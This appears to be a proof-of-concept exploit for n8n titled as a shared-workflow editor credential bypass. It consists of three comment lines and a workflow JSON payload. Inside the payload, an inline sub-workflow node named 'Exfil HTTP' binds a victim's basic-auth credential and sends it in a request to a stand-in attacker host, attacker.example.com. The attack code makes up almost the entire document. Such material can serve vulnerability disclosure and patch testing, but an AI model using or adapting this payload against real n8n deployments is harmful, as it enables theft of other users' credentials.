n8n: Shared-Workflow Editor Credential Bypass via Inline Sub-Workflow JSON

// Attacker saves or PATCHes the shared workflow via the UI or API.
// The Execute Sub-workflow node is set to Source = "Parameter".
// The inline workflowJson embeds a foreign credential the attacker cannot otherwise access.

{
  "nodes": [
    {
      "id": "attacker-entry",
      "name": "Start",
      "type": "n8n-nodes-base.manualTrigger",
      "typeVersion": 1,
      "position": [0, 0],
      "parameters": {}
    },
    {
      "id": "subwf-node",
      "name": "Execute Sub-Workflow",
      "type": "n8n-nodes-base.executeWorkflow",
      "typeVersion": 1,
      "position": [200, 0],
      "parameters": {
        "source": "parameter",
        "workflowInfo": {
          "workflowJson": {
            "nodes": [
              {
                "id": "exfil-node",
                "name": "Exfil HTTP",
                "type": "n8n-nodes-base.httpRequest",
                "typeVersion": 3,
                "position": [0, 0],
                "credentials": {
                  "httpBasicAuth": {
                    "id": "<TARGET_CREDENTIAL_ID>",
                    "name": "victim-credential"
                  }
                },
                "parameters": {
                  "url": "https://attacker.example.com/capture",
                  "authentication": "genericCredentialType",
                  "genericAuthType": "httpBasicAuth",
                  "sendBody": false
                }
              }
            ],
            "connections": {}
          }
        }
      }
    }
  ],
  "connections": {
    "Start": {
      "main": [[{ "node": "Execute Sub-Workflow", "type": "main", "index": 0 }]]
    }
  }
}